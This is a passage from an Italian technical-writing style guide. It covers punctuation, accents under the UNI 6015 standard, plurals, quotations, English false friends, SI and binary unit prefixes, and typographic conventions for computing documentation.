terza di copertina	*inside back cover page*
quarta di copertina	*back cover page*

57.3 Stile letterario[4]

Il concetto di ***stile letterario*** potrebbe essere espresso semplicemente spiegando l'esigenza di realizzare un documento ***uniforme***: sia dal punto di vista visivo, sia dal punto di vista espressivo. Questo coinvolge quindi l'aspetto grammaticale (ortografia, sintassi, lessico, ecc.) e l'aspetto tipografico (impaginazione, tipi di carattere, dimensione, ecc.) o artistico.

L'esigenza di un'uniformità visiva deriva dal piacere e dal rilassamento che può dare al lettore un documento impaginato e strutturato in un modo ordinato e chiaro, per la facilità nella lettura che ne deriva. Nello stesso modo è importante l'uniformità grammaticale, cosa particolarmente delicata in una lingua come quella italiana in cui sono consentite molte variazioni, data la ricchezza linguistico-culturale delle varie regioni.

Il problema dell'uniformità stilistica si accentua quando si deve collaborare alla realizzazione di un progetto letterario. L'uniformità non è più solo un fatto di coerenza personale, ma di coerenza complessiva di tutto il gruppo.

57.3.1 Regole di composizione del testo

Il modo migliore per definire uno stile grammaticale è lo studio su un testo di grammatica. Nelle sezioni successive si raccolgono solo alcuni punti essenziali che non possono essere ignorati.

57.3.1.1 Punteggiatura e spaziatura

La punteggiatura si compone di quei simboli che consentono di separare le parole e di delimitare le frasi.

- Ogni parola è separata da un solo spazio.

  Tipograficamente, lo spazio è una separazione di ampiezza non definita, spesso ampliato o compresso, per ottenere un allineamento del testo, sia a sinistra, sia a destra. Un autore non deve pensare a queste cose quando scrive la propria opera; si deve limitare a spaziare le parole con un solo carattere spazio.[5]

  La dattilografia insegnava a ottenere testi allineati a sinistra e a destra con l'inserzione opportuna di spazi aggiuntivi, vicino alle parole composte da poche lettere (congiunzioni, articoli, ecc.). Questo tipo di tecnica è ormai da abbandonare, lasciando semmai che siano i programmi di composizione a prendersi cura di tali problemi, anche quando il risultato finale deve essere un file di testo puro e semplice.

  I programmi di composizione più evoluti facilitano il compito dello scrittore eliminando gli spazi superflui, per cui con questi non c'è l'esigenza di porre attenzione alla dimensione delle spaziature.[6]

- Il simbolo di punteggiatura normale è attaccato alla parola che precede ed è separato con uno spazio dalla parola che segue.

  Si tratta di: punto, virgola, due punti, punto e virgola, punto interrogativo e punto esclamativo.

  Alle volte, l'autore di documenti tecnici di informatica si lascia confondere dall'uso che si fa di tali simboli in un particolare linguaggio di programmazione o in altri ambiti analoghi. È chiaro, per esempio, che se si deve indicare un'estensione di un file, come «.sgml», non si può rispettare tale regola, in quanto il punto che precede quell'estensione non rappresenta un simbolo di punteggiatura del testo.

- Le parentesi sono attaccate al testo che racchiudono e, rispetto alla punteggiatura esterna, si comportano come un'unica parola.

  La parentesi di apertura è separata con uno spazio dalla parola che precede, mentre quella di chiusura è separata con uno spazio dalla parola che segue. I simboli di punteggiatura normale che dovessero seguire una parentesi chiusa vanno attaccati a questa ultima.

  Nella lingua italiana non è consentito racchiudere all'interno di parentesi un periodo terminante con il punto fermo (al contrario di quanto avvenga con la lingua inglese).

- Il testo riportato tra virgolette si comporta come quello racchiuso tra parentesi.

  La lingua italiana prevede l'uso di virgolette uncinate (in basso), virgolette elevate doppie e singole. Secondo la grammatica, le virgolette uncinate, o virgolette basse, sono da preferire. Tuttavia, dal momento che le virgolette elevate possono essere ottenute anche utilizzando soltanto il codice ASCII tradizionale a 7 bit, molti autori preferiscono accontentarsi e utilizzare solo quelle elevate.[7]

- Il trattino di unione è corto e unito alle parole da collegare.

  Si usa per unire insieme due parole in modo da formare una parola composta. I programmi di composizione tendono a considerare un trattino singolo come un trattino corto, proprio per questo scopo.

- La lineetta, o trattino lungo, serve per introdurre un discorso diretto, oppure un inciso.

  Il trattino utilizzato per delimitare un discorso diretto, viene usato normalmente solo in apertura. Può apparire anche un trattino in chiusura quando al discorso diretto segue un commento. Se il trattino si usa per delimitare un inciso, si usa per aprirlo e solitamente anche per chiuderlo, come se si trattasse di parentesi.

  Generalmente, il trattino lungo è preceduto e seguito da uno spazio; davanti al trattino di chiusura vanno collocati il punto interrogativo, il punto esclamativo e i puntini, mentre per gli altri simboli di punteggiatura non esiste una convenzione precisa.[8]

57.3.1.2 Utilizzo dei simboli di interpunzione

L'uso della punteggiatura nella lingua italiana è definito da regole molto vaghe che si prestano a facili eccezioni di ogni tipo. Qui si elencano solo alcuni concetti fondamentali.

,	La virgola è un segno di interpunzione che collega due segmenti di testo separati da una pausa debole.
;	Il punto e virgola è un segno di interpunzione che si colloca a metà strada tra la virgola e il punto. Non segna la chiusura di un periodo.
:	I due punti sono un simbolo di interpunzione ***esplicativo***. Collegano due segmenti di testo separati dal punto di vista sintattico, in cui la seconda parte, quella che segue il simbolo, elenca, chiarisce o dimostra il concetto espresso nella prima parte.
.	Il punto fermo è un segno di interpunzione che collega due segmenti di testo separati da un pausa forte. Generalmente segna la conclusione di un periodo. La parola successiva al punto ha l'iniziale maiuscola.
!	Il punto esclamativo indica generalmente la conclusione di un'esclamazione affermativa. Generalmente, quando conclude un periodo, il testo che segue ha l'iniziale maiuscola.
?	Il punto di domanda indica un tono interrogativo alla fine di una frase. Generalmente, quando conclude un periodo, il testo che segue ha l'iniziale maiuscola.
...	I punti di sospensione sono in numero fisso di tre e indicano che il discorso non viene portato a conclusione. Generalmente, sono uniti alla parola o al segno di interpunzione che li precede, oppure distanziati, a seconda che siano solo una sospensione oppure indichino l'omissione di un nome o di un'altra parola. Se si trovano alla fine di un periodo, dove andrebbe collocato un punto, questo non viene aggiunto e la frase successiva inizia con la maiuscola. Nello stesso modo, se si trovano alla fine di un'abbreviazione che termina con un punto, questo punto viene assorbito.
ecc**.**	Il punto di abbreviazione, quando si trova alla fine di un periodo, conclude da solo anche il periodo stesso, ed è seguito da iniziale maiuscola.

( )	Le parentesi, generalmente tonde, servono per delimitare un inciso, come un commento, una nota dello scrivente, un chiarimento, ecc. Generalmente, i commenti del redattore o del traduttore sono terminati, entro l'ambito delle parentesi, con le sigle NdR (nota del redattore) e NdT (nota del traduttore).

57.3.1.3 Accenti e troncamenti

Nella lingua italiana scritta, l'uso degli accenti è un fatto puramente convenzionale. Ciò significa che l'accento non indica necessariamente il suono che ha effettivamente la lettera accentata, ma solo la sua rappresentazione consueta (più avanti, nella sezione 57.3.1.4 è riportato il testo originale della norma UNI 6015 sul «segnaccento obbligatorio»).[9]

- Nella lingua scritta è prevista (ed è obbligatoria) solo l'accentazione delle vocali finali delle parole nelle quali il tono della voce si rafforza sull'ultima sillaba (accento grafico).

  È possibile l'uso dell'accento per le vocali interne quando ciò serva per togliere ambiguità tra termini omografi (scritti nello stesso modo) che abbiano significati differenti. Generalmente, questa ambiguità è risolta dal contesto e raramente si incontra la necessità di utilizzare accenti interni.

- Si utilizza comunemente solo l'accento grave (**àèìòù**), con l'eccezione della vocale «e» che può avere l'accento acuto (**é**).

- Vogliono l'accento acuto le parole terminanti in **ché** (perché, poiché, ecc.), oltre a **né** (congiunzione) e **sé** (pronome tonico). In particolare, **sé** viene scritto generalmente senza accento quando è seguito da **stesso**, anche se la grammatica non lo richiede.

- Vogliono l'accento alcuni monosillabi contenenti due vocali: **ciò**, **già**, **giù**, **più** e **può**.

- Vogliono l'accento i monosillabi che senza potrebbero avere un significato differente. La tabella 57.15 mostra l'elenco dei monosillabi accentati più importanti.

- Non vogliono l'accento alcuni monosillabi tra cui: **qui**, **qua**, **sto** e **sta**.

- Solo alcune parole tronche richiedono la segnalazione di tale troncamento con l'apostrofo finale. In particolare: **po'** (poco), **mo'** (modo), **ca'** (casa) e alcuni imperativi.

- L'accento circonflesso (^) non si usa più. Serviva per i nomi terminanti in **–io** che al plurale terminerebbero in **–ii** (per esempio: armadio, armadii). Attualmente, si tende a usare questi plurali con una sola **–i** finale, a parte i casi in cui ciò genera ambiguità (**assassino**, **assassini**; **assassinio**, **assassinii**).

Tabella 57.15. Elenco dei monosillabi accentati più importanti e dei loro equivalenti (omografi) non accentati.

dà	indicativo di dare (dà valore)	da	preposizione (da voi)
è	verbo	e	congiunzione
là	avverbio (resta là)	la	articolo
lì	avverbio (vado lì)	li	pronome
né	congiunzione (né questo né quello)	ne	pronome (ne voglio ancora)
sé	pronome tonico (pieno di sé)	se	pronome atono o congiunzione
sì	avverbio (dice di sì)	si	pronome

Alle volte, l’uso delle vocali accentate può creare problemi tecnici, dovuti alla loro mancanza nell’insieme di caratteri a disposizione. Nelle circostanze in cui non è possibile scrivere direttamente con lettere accentate (per esempio quando si dispone di un sistema configurato male, o la tastiera non dispone dei simboli necessari), occorre utilizzare delle tecniche di rappresentazione che dipendono dal programma utilizzato per la composizione.

Con l’introduzione dell’insieme di caratteri universale, che nei sistemi Unix si attua attraverso la codifica UTF-8, il problema della rappresentazione dei caratteri con lettere accentate, viene meno, qualunque sia la lingua da utilizzare.

Riquadro 57.16. Vocali accentate attraverso l’uso di macro SGML e XML.

Vocale accentata	Macro corrispondente	Vocale accentata	Macro corrispondente
à	à	À	À
è	è	È	È
ì	ì	Ì	Ì
ò	ò	Ò	Ò
ù	ù	Ù	Ù
é	é	É	É

Riquadro 57.17. Vocali accentate per TeX.

Vocale accentata	Codice TeX corrispondente	Vocale accentata	Codice TeX corrispondente
à	\‘a	À	\‘A
è	\‘e	È	\‘E
ì	\‘{\i}	Ì	\‘I
ò	\‘o	Ò	\‘O
ù	\‘u	Ù	\‘U
é	\’e	É	\’E

Riquadro 57.18. Trucco per rappresentare le vocali accentate quando non si può fare altrimenti.

Vocale accentata	Vocale apostrofata corrispondente	Vocale accentata	Vocale apostrofata corrispondente
à	a‘	À	A‘
è	e‘	È	E‘
ì	i‘	Ì	I‘
ò	o‘	Ò	O‘
ù	u‘	Ù	U‘
é	e’	É	E’

57.3.1.4 Segnaccento obbligatorio (UNI 6015)

Quello che segue è la norma UNI 6015 sull’uso degli accenti. Il testo è stato ottenuto da *Grafica; scienza, tecnologia e arte della stampa e della comunicazione*, *Preparazione del manoscritto* ⟨http://www.apenet.it/⟩.

Segnaccento obbligatorio nell’ortografia della lingua italiana (Uni 601567):

1. *Scopo*

La presente unificazione ha lo scopo di stabilire le regole ortografiche per il segnaccento nei testi stampati in lingua italiana, quando esso sia obbligatorio.

2. *Definizione*

2.1 Il segnaccento (o segno d'accento, o accento scritto) serve a indicare esplicitamente la vocale tonica, per esempio: *andrà*, *colpì*, *temé*, *virtù*.

2.2. Il segnaccento può essere grave ('`') o acuto ('´').

3. *Uso*

Il segnaccento è obbligatorio nei casi seguenti:

3.1. Su alcuni monosillabi, per distinguerli da altri monosillabi che si scrivono con le stesse lettere ma senza accento:

ché («poiché», congiunzione causale) per distinguerlo da *che* (congiunzione in ogni altro senso, o pronome);

dà (indicativo presente di dare) per distinguerlo da *da* (preposizione) e *da'* (imperativo di dare);

dì («giorno») per distinguerlo da *di* (preposizione) e *di'* (imperativo di dire);

è (verbo) per distinguerlo da *e* (congiunzione);

là (avverbio) per distinguerlo da *la* (articolo, pronome, nota musicale);

lì (avverbio) per distinguerlo da *li* (articolo, pronome);

né (congiunzione) per distinguerlo da *ne* (pronome, avverbio);

sé (pronome tonico) per distinguerlo da *se* (congiunzione, pronome atono);

sì («così», o affermazione) per distinguerlo da *si* (pronome, nota musicale);

té (pianta, bevanda) per distinguerlo da *te* (pronome).

3.2. Sui monosillabi: *chiù*, *ciò*, *diè*, *fé*, *già*, *giù*, *piè*, *più*, *può*, *scià*.

3.3. Su tutte le parole polisillabe su cui la posa della voce cade sulla vocale che è alla fine della parola, per esempio: *pietà*, *lunedì*, *farò*, *autogrù*.

4. *Forma*

4.1. Il segnaccento, nei casi in cui è obbligatorio, è sempre grave sulle vocali: *a*, *i*, *o*, *u*.

4.2. Sulla *e*, il segnaccento obbligatorio è grave se la vocale è aperta, è acuto se la vocale è chiusa:

- è sempre grave sulle parole seguenti:

ahimè e *ohimè*, *caffè*, *canapè*, *cioè*, *coccodè*, *diè* e *gilè*, *lacchè*, *piè*, *tè*; inoltre sulla maggior parte dei francesismi adattati, come *bebè*, *cabarè*, *purè*, ecc. e sulla maggior parte dei nomi propri, come *Giosuè*, *Mosè*, *Noè*, *Salomè*, *Tigrè;*

- è acuto sulle parole seguenti:

ché («poiché») e i composti di *che* (*affinché*, *macché*, *perché*, ecc.), *fé* e i composti *affé*, *autodafé*, i composti di *re* e di *tre* (*viceré*, *ventitré*), i passati remoti (*credé*, *temé*, ecc., escluso *diè*), le parole *mercé*, *né*, *scimpanzé*, *sé*, *testé*.

4.3. Anche per la *o* si possono distinguere i due timbri (aperto o chiuso) con i due accenti (grave ed acuto) ma solo in casi in cui l'accento è facoltativo, per esempio: *còlto* (participio passato di *cogliere*), e *cólto* («istruito»).

57.3.1.5 Uso della «d» eufonica

Le congiunzioni **e**, **o** e la preposizione **a**, consentono l'aggiunta di una **d** eufonica, per facilitarne la pronuncia quando la parola che segue inizia per vocale. Si tratta di una possibilità e non di una regola; di questa **d** si potrebbe benissimo fare a meno.

Ognuno tende a usare questa **d** eufonica in modo differente, a seconda della propria cadenza personale, che ne può richiedere o meno la presenza. Quando si scrive, bisognerebbe mantenere lo stesso stile, anche sotto questo aspetto, quindi ognuno deve stabilire e seguire un proprio modo.

Esiste tuttavia un suggerimento che punta all'uso moderato di queste **d** eufoniche: usare la **d** solo quando la vocale iniziale della parola successiva è la stessa; e non usarla nemmeno quando, pur essendoci la stessa vocale iniziale nella parola successiva, ci sia subito dopo una **d** che possa complicare la pronuncia.

57.3.1.6 Elisione davanti alla lettera «h»

In linea di massima, l'articolo che si mette davanti a un termine che inizia con la lettera **h**, è quello che si userebbe pronunciando quella parola come se iniziasse per vocale. Secondo questo principio, va usata l'elisione, così come si fa con i termini che iniziano per vocale, senza alcuna «h» anteriore. Per esempio: l'harem; l'hotel; l'host.

Tuttavia, quando si tratta di un termine che, proveniendo da un'altra lingua, non è ancora diventato di uso comune e nella lingua originale si pronuncia con la lettera «h» iniziale aspirata, si preferisce evitare l'elisione.

57.3.1.7 Uso delle maiuscole

L'iniziale maiuscola si utilizza all'inizio del periodo e per evidenziare i nomi propri. La lingua italiana fa un uso diverso delle maiuscole rispetto ad altre lingue, limitandole al minimo indispensabile; pertanto, nelle situazioni di dubbio, è meglio utilizzare le lettere minuscole.

57.3.1.8 Plurali

Ci sono alcuni aspetti del plurale nella lingua italiana che vale la pena di annotare. In particolare, nel caso di chi deve utilizzare anche termini stranieri, si pone il problema di decidere se questi siano invariabili o meno. A questo proposito, esistono due regolette semplici e pratiche:

- le parole terminanti per consonante sono invariate al plurale;
- i termini di provenienza straniera non ancora assimilati sono invariati al plurale.

In particolare, per quanto riguarda la seconda, la logica è che non si può applicare un plurale secondo le regole di una lingua straniera mentre si usa l'italiano. Inoltre, dato che nella maggior parte dei casi si tratta di termini inglesi, che nella loro lingua prenderebbero quasi sempre una terminazione in **–s** al plurale, diventerebbe anche difficile la loro pronuncia in italiano.

57.3.1.9 Interfacce o interfaccie?

Esiste una regoletta che permette di stabilire facilmente come debba essere ottenuto il plurale delle parole che terminano in **–cia** e **–gia**: la **i** rimane se la **c** e la **g** sono precedute da vocale, oppure se la **i** viene pronunciata con accento, mentre viene eliminata se queste consonanti sono precedute da un'altra consonante.

Quindi si ha: **camicia**, **camicie** e **interfaccia**, **interfacce**; **ciliegia**, **ciliegie** e **spiaggia**, **spiagge**; **energia**, **energie**.

57.3.1.10 Elenchi

Gli elementi puntati, o numerati, possono essere composti da elementi brevi, oppure da interi periodi. Se tutti gli elementi sono brevi:

- l'elenco deve essere introdotto da una frase terminante con due punti;
- ogni elemento deve essere terminato con un punto e virgola, a eccezione dell'ultimo che termina normalmente con un punto.

La descrizione appena fatta mostra un esempio di elenco del genere. Se anche uno solo degli elementi è troppo lungo, è bene trasformare tutti gli elementi in periodi terminati da un punto. In tal caso, se l'elenco viene introdotto da una frase, anch'essa termina con un punto.

Ci possono essere situazioni in cui queste indicazioni non sono applicabili: come sempre è necessario affidarsi al buon senso.

57.3.1.11 Citazioni

Le citazioni, cioè le frasi o i brani riprodotti letteralmente da altri documenti, devono apparire distinte chiaramente dal testo normale. Si usano normalmente queste convenzioni:

- quando la citazione è incorporata nel testo viene delimitata attraverso le virgolette, oppure utilizzando il corsivo se la citazione è particolarmente breve;
- le citazioni incluse in un'altra citazione già virgolettata si evidenziano attraverso l'uso di un altro tipo di virgolette, cominciando da quelle uncinate («»), utilizzando poi quelle elevate doppie (“”) e terminando con quelle singole (‘’);
- quando la citazione è molto lunga e occupa diversi capoversi, conviene utilizzare un corpo minore o un altro espediente tipografico per distinguerla dal testo normale, come con l'uso di rientri differenti;
- quando la citazione è lunga e non si vogliono utilizzare altri espedienti per evidenziarla, si utilizzano le virgolette, ripetendo quelle di apertura all'inizio di ogni capoverso;
- all'interno delle citazioni possono apparire dei commenti o chiarimenti inseriti da chi scrive, delimitandoli attraverso l'uso di parentesi quadre;
- all'interno delle citazioni vanno indicate le omissioni, le quali possono essere segnalate attraverso l'uso dei puntini di sospensione racchiusi tra parentesi quadre (come per i commenti);

- quando si fanno delle omissioni nella citazione all'inizio o alla fine del brano, è preferibile l'uso dei puntini di sospensione senza che questi siano racchiusi tra parentesi quadre; all'inizio i puntini di sospensione sono staccati dalla prima parola, mentre alla fine sono attaccati all'ultima.

57.3.1.12 Acquisizione di termini stranieri

Quando si decide di utilizzare un termine straniero nel testo italiano, si pone il problema di stabilire il modo con cui questo possa convivere con il resto del testo. L'unica regola sicura è la verifica dell'uso generale. Tuttavia si possono definire alcune regole di massima, per dare l'idea del problema.

- La prima cosa da fare di fronte a un termine da non tradurre è di verificare in un vocabolario di lingua italiana; se c'è, il problema potrebbe essere considerato come risolto.
- Un termine straniero può assumere il genere che avrebbe se fosse tradotto in italiano, oppure quello che suona meglio dandogli un significato italiano. In caso di dubbio è importante controllare l'uso comune (se esiste).
- I termini stranieri non tradotti sono invariabili al plurale, cioè quando sono inseriti in testi in italiano vanno scritti sempre al singolare, senza aggiungere la lettera «s» finale, anche se ci si riferisce a una quantità maggiore di uno (si pensi al termine «mouse» che al plurale inglese diventa «mice»), perché la lingua italiana non può incorporare le regole di un'altra lingua.

Quando il termine che non si traduce non è di uso comune nell'ambiente a cui si rivolge il documento, dovrebbe essere evidenziato in corsivo tutte le volte che viene utilizzato. Per chiarire meglio il concetto, un termine tecnico può essere o meno di uso comune per il pubblico di lettori a cui si rivolge: se si tratta di un termine considerato normale per quell'ambiente, non è il caso di usare alcuna evidenziazione.

57.3.2 Anglofilia eccessiva

L'influenza della lingua inglese porta a deformazioni sempre più frequenti nella lingua italiana. Il problema più evidente, ma più facile da affrontare, è quello dei «falsi amici»: quei termini che, pur assomigliandosi (e pur avendo, spesso, la stessa etimologia), hanno significati diversi nelle due lingue. Gli esempi più celebri sono «factory» che diventa erroneamente «fattoria» e «cold» che si trasforma in «caldo».

Il problema meno evidente e per questo più insidioso è dato dalle altre differenze fra le due lingue: la punteggiatura, l'uso delle maiuscole e la struttura delle frasi. Trascurando queste particolarità si rischia di ottenere un testo che è formalmente in italiano, ma che non «suona» come tale.

Tabella 57.19 Traduzioni corrette dei «falsi amici».

consistent	coerente
exhaustive	esauriente
line	riga (quasi sempre)
re... (recursive)	ri... (ricorsivo)
set	insieme («set» è tennistico)
to set	impostare («settare» è di pessimo gusto)
subject	oggetto (di una lettera o di un messaggio)
to process	elaborare
to assume	supporre
proper (agg.)	giusto, corretto
proper (avv.)	vero e proprio
to support	si usi, per quanto possibile, una perifrasi
to return something	restituire qualcosa («ritornare» è intransitivo)

Quello che segue è un elenco di annotazioni riguardo all'uso dell'ortografia e della sintassi, influenzata erroneamente dalle consuetudini anglofone.

- La «e» o la «o» che introduce l'ultimo termine di un elenco non va preceduta da virgola. In inglese americano la norma è di usare la virgola (ma gli inglesi non la usano); a volte in italiano la virgola è ammissibile, ma si tratta di eccezioni.
- Se le frasi sono negative devono essere separate con «né». Per esempio, una frase del tipo «non possono essere cancellati o modificati» va espressa piuttosto come «non possono essere né cancellati, né modificati».
- I periodi italiani sono più complessi di quelli inglesi, a parità di registro, utilizzando opportunamente le congiunzioni, le subordinate, i due punti o i punti e virgola.
- I nomi dei mesi sono minuscoli.
- I numeri (interi) che esprimono una quantità piccola vanno scritti preferibilmente per esteso.
- In italiano si usa, di solito, la sequenza nome+aggettivo; il contrario, aggettivo+nome, per quanto accettabile, ha spesso un significato diverso. Per esempio, si osservi la differenza tra «pover'uomo» e «uomo povero».
- Bisogna sempre concordare il genere grammaticale: forme del tipo «la directory padre» non hanno senso.

57.3.3 Unità di misura

Nella documentazione a carattere scientifico diventa fondamentale la coerenza e la precisione nel modo in cui si indicano le grandezze e le unità di misura, oltre che la scelta di queste. In generale, ogni ambiente tecnico particolare tende a utilizzare le proprie grandezze e le proprie unità di misura, tralasciando gli sforzi di standardizzazione internazionale, contribuendo così a complicare inutilmente il proprio settore.

Purtroppo, l'ambito informatico costituisce l'esempio più problematico sotto questo aspetto, dal momento che l'esigenza di mantenere una compatibilità con il sistema binario ha attribuito

a delle denominazioni ben precise del sistema decimale un significato differente rispetto a quello comune a tutti gli altri ambiti scientifici.

Lo standard internazionale sulle unità di misura è costituito dal SI, ovvero *Le Système international d'unités*, in italiano *Sistema internazionale di unità*. Il punto di riferimento per questo lavoro di armonizzazione è il BIPM (*Bureau international des poids et mesures*), con sede in Francia (⟨*http://www.bipm.org/*⟩).

57.3.3.1 Come si scrive una grandezza

Per esprimere una quantità riferita a una grandezza in modo grafico, occorre disporre del ***simbolo*** (la sigla) che ne esprime l'unità di misura o un multiplo opportuno di tale unità, al quale si fa precedere il numero, in cifre, di tale quantità:

n simbolo

È importante che tra il numero e la sigla ci sia uno spazio, il quale non deve poter essere interrotto in fase di impaginazione del testo. Per esempio: si può scrivere 5 kg, ma non 5kg.

57.3.3.2 Nomi e simboli

È bene chiarire il significato di alcuni termini che riguardano la misurazione di qualcosa:

Termine	Definizione
grandezza	ciò che viene misurato, come la lunghezza, la massa, il tempo;
unità di misura	il nome attribuito a ciò che si usa per misurare, come il metro, il kilogrammo, il secondo;
simbolo	il simbolo che rappresenta l'unità di misura in modo standard, come «m», «kg», «s».

Secondo il SI, il kilogrammo è l'unità di misura della massa, tenendo conto che i prefissi si utilizzano facendo riferimento al grammo. Si osservi inoltre che non si parla di «peso», perché questo termine è riferito piuttosto alla forza applicata a un oggetto.

I nomi delle unità di misura si esprimono generalmente senza iniziale maiuscola, mentre i simboli usati per rappresentarle simbolicamente vanno espressi esattamente come stabilito dagli standard, per quanto riguarda l'uso delle lettere maiuscole o minuscole.

Tabella 57.21. Esempi di grandezze e unità di misura.

Grandezza	Unità di misura	Simbolo
lunghezza	metro	m
massa	kilogrammo	kg
tempo	secondo	s
corrente elettrica	ampere	A

57.3.3.3 Prefissi moltiplicatori

Oltre alla definizione dei simboli che esprimono le unità di misura, si aggiungono dei simboli che rappresentano un multiplo ben preciso di tali unità. Tali simboli di moltiplicazione si pongono davanti al simbolo di unità a cui si riferiscono; per esempio, il simbolo «km» rappresenta mille unità «m», ovvero mille volte il metro.

I simboli che rappresentano tali moltiplicatori hanno anche un nome che normalmente si esprime senza iniziale maiuscola, indipendentemente dalla forma, maiuscola o minuscola, che ha il simbolo stesso.

I moltiplicatori riferiti alle unità di misura hanno un significato e un valore ben preciso. È un errore l'uso dei termini «kilo», «mega», «giga» e «tera», per rappresentare moltiplicatori pari a 2^{10}, 2^{20}, 2^{30} e 2^{40}, come si fa abitualmente per misurare grandezze riferite a bit o a byte.

Tabella 57.22. Prefissi del *Sistema internazionale di unità* (SI).

Nome	Simbolo	Valore	Note
yotta	Y	10^{24}	
zetta	Z	10^{21}	
exa	E	10^{18}	
peta	P	10^{15}	
tera	T	10^{12}	
giga	G	10^{9}	
mega	M	10^{6}	
kilo	k	10^{3}	Lettera «k» minuscola.
hecto, etto	h	10^{2}	
deca	da	10	
		1	Nessun moltiplicatore.
deci	d	10^{-1}	
centi	c	10^{-2}	
milli	m	10^{-3}	
micro	μ	10^{-6}	
nano	n	10^{-9}	
pico	p	10^{-12}	
femto	f	10^{-15}	
atto	a	10^{-18}	
zepto	z	10^{-21}	
yocto	y	10^{-24}	

57.3.3.4 Prefissi per multipli binari

Lo standard IEC 60027-2 introduce un gruppo nuovo di prefissi da utilizzare in alternativa a quelli del SI, per risolvere il problema dell'ambiguità causata dall'uso improprio dei prefissi del SI in ambito informatico. A questo proposito, una discussione particolareggiata su questo argomento si può trovare nel documento *Standardized Units for Use in Information Technology*, di Markus Kuhn, ⟨*http://www.cl.cam.ac.uk/~mgk25/information-units.txt*⟩. La tabella 57.23 riporta l'elenco di questi prefissi speciali.

Tabella 57.23. Prefissi IEC 60027-2.

Origine	Nome	Simbolo	Valore	Note
kilobinary	kibi	Ki	2^{10}	Si usa la «K» maiuscola.
megabinary	mebi	Mi	2^{20}	
gigabinary	gibi	Gi	2^{30}	
terabinary	tebi	Ti	2^{40}	
petabinary	pebi	Pi	2^{50}	
exabinary	exbi	Ei	2^{60}	
zettabinary	zebi	Zi	2^{70}	
yottabinary	yobi	Yi	2^{80}	

57.3.4 Rappresentazione di valori

La rappresentazione di valori numerici tende a seguire forme differenti a seconda del contesto e delle convenzioni nazionali. Nella *Guide for the Use of the International Systems of Units (SI)*, pubblicato dal NIST (*National institute of standards and technology*), si trovano alcuni criteri per risolvere il problema in modo non ambiguo, validi anche al di fuori della realtà inglese.

57.3.4.1 Valori percentuali

In generale, l'uso del simbolo '`%`' va inteso come una forma abbreviata per 0,01 e in questo modo va usato, senza eccedere. In particolare, il simbolo di percentuale va posto dopo un valore numerico, staccato da questo, ma non separabile in fase di composizione tipografica:

```
n %
```

Per esempio, si può scrivere '`x = 0,025 = 2,5 %`', mentre non è corretta la forma '`x = 0,025 = 2,5%`'.

57.3.4.2 Valori numerici

Nella lingua italiana, come in molte altre, si usa la virgola come segno di separazione tra la parte intera e quella decimale, mentre nei paesi di lingua inglese, si utilizza il punto. A parte il problema di scegliere il segno opportuno in base alle proprie convenzioni nazionali, si pone piuttosto la difficoltà nel rappresentare numeri composti da una grande quantità di cifre.

La *Guide for the Use of the International Systems of Units (SI)* indica un metodo molto semplice e non equivoco: si separano le cifre a gruppi di tre, usando semplicemente uno spazio, sia prima, sia dopo il marcatore decimale, come si vede in questi esempi:

```
123 456 789
  3 456 789,012 345 6
      6 789,012 3
```

Naturalmente, lo spazio in questione non può consentire l'interruzione della riga in fase di composizione.

È ammissibile anche un'eccezione in presenza di raggruppamenti di sole quattro cifre, prima o dopo il marcatore decimale. In quel caso si può evitare la separazione:

```
1234
  23,2345
```

Un altro problema è quello della rappresentazione di valori numerici espressi con una base maggiore di 10, per i quali si utilizzano le prime 10 cifre numeriche e per il resto si usano le lettere alfabetiche. Queste lettere andrebbero utilizzate coerentemente, possibilmente in forma maiuscola.

57.3.5 Stile tipografico

La definizione dello stile tipografico è un altro punto delicato nella definizione dello stile letterario generale. Di solito, la sua preparazione, è compito del tipografo o del coordinatore di un gruppo di autori o traduttori.

Il modo migliore per stabilire e utilizzare uno stile tipografico è quello di usare un sistema SGML, attraverso cui definire un DTD che non permetta alcun dubbio nella relazione che ci deve essere tra le varie componenti di un documento. In questo modo, gli autori hanno solo il compito di qualificare correttamente le varie componenti del testo, senza pensare al risultato finale, per modificare il quale si può semmai intervenire sul sistema di conversione successivo.

Le sezioni seguenti trattano dei problemi legati alla definizione di uno stile tipografico per la redazione di documenti tecnico-informatici. L'idea è presa dalla guida di stile del gruppo di documentazione di Linux: LDP (*Linux documentation project*), ma le indicazioni si basano sulle consuetudini tipografiche italiane.

57.3.5.1 Blocchi di testo letterale

Scrivendo documenti che riguardano l'uso dell'elaboratore, si incorre frequentemente nella necessità di scrivere nomi, o intere parti di testo, che devono essere trattati in modo letterale. Possono essere nomi di file e directory, comandi, porzioni del contenuto di file, listati di programmi, ecc. In questi casi è sconsigliabile l'uso di un tipo di carattere proporzionale, perché si rischierebbe di perdere delle informazioni importanti. Si pensi al trattino utilizzato nelle opzioni della maggior parte dei comandi Unix: utilizzando un carattere proporzionale, attraverso un sistema di composizione come LaTeX, si otterrebbe un trattino corto, mentre due trattini posti di seguito genererebbero un trattino normale; e ancora, da tre trattini si otterrebbe un trattino largo.

57.3.5.2 Nomi di file e directory

I nomi di file, di qualunque tipo, dovrebbero essere rappresentati attraverso un tipo di carattere a spaziatura fissa.

I nomi di questi tipi di entità sono sensibili alla differenza tra maiuscole e minuscole. Per questo vanno scritti sempre così come sono, anche quando si trovano all'inizio di un periodo, senza acquisire un'eventuale iniziale maiuscola.

I nomi di file eseguibili, in quanto tali, sono indicati preferibilmente senza il percorso necessario al loro avvio, ammesso che il sistema operativo non ne abbia bisogno per consentirne l'avvio.

I nomi di programmi per i sistemi Dos dovrebbero essere indicati utilizzando lettere maiuscole, senza tralasciare l'estensione.

57.3.5.3 Schermate, listati e simili

Il testo ottenuto da listati di vario tipo, come i pezzi di un programma sorgente, il risultato dell'elaborazione di un comando, o il contenuto di una schermata, possono essere rappresentati convenientemente attraverso un ambiente di inclusione di testo letterale a spaziatura fissa.

Il problema sta nel fatto che l'ampiezza di tale testo non può superare i margini del corpo del documento, in base al tipo di impaginazione finale che si ritiene dover applicare. Infatti, tale testo non può essere continuato nella riga successiva perché ciò costituirebbe un'alterazione delle informazioni che si vogliono mostrare.

Generalmente, non è possibile superare un'ampiezza di 80 colonne, pari a quella di uno schermo a caratteri tradizionale.

57.3.5.4 Variabili di ambiente

I nomi di variabili di ambiente dovrebbero essere rappresentati attraverso un tipo di carattere a spaziatura fissa.

I nomi di questi tipi di entità sono sensibili alla differenza tra maiuscole e minuscole. Per questo vanno scritti sempre così come sono, anche quando si trovano all'inizio o all'interno di un periodo.

A seconda del tipo di documentazione, potrebbe essere stata definita la convenzione per cui questi nomi debbano essere indicati sempre preceduti dal simbolo dollaro ('**`$`**').

